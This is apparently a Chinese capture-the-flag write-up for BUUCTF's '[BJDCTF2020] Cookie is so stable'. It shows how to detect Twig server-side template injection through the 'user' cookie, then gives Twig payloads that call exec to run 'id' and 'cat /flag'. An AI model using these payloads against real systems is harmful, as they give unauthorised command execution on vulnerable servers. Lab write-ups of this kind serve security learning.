buuctf-[BJDCTF2020]Cookie is so stable(小宇特详解)
先看一下题目
有首页,有flag页面,有Hint页面
这里题目有提示,突破口是在cookie上面
这里先进行抓包分析
这里的知识点是利用服务端模板注入攻击。SSTI里面的Twig攻击
这里有判断模板注入类型的办法
输入{{7*‘7’}},返回49表示是 Twig 模块
输入{{7*‘7’}},返回7777777表示是 Jinja2 模块
这里在cookie处进行判断
user={{7*‘7’}},查看返回值
所以这个模板注入是Twig注入
这里注意要在PHPSESSID后user前加上;分隔开
由于是Twig注入,所以是有固定的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
同样的方法,在cookie输入
然后构造获取flag的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag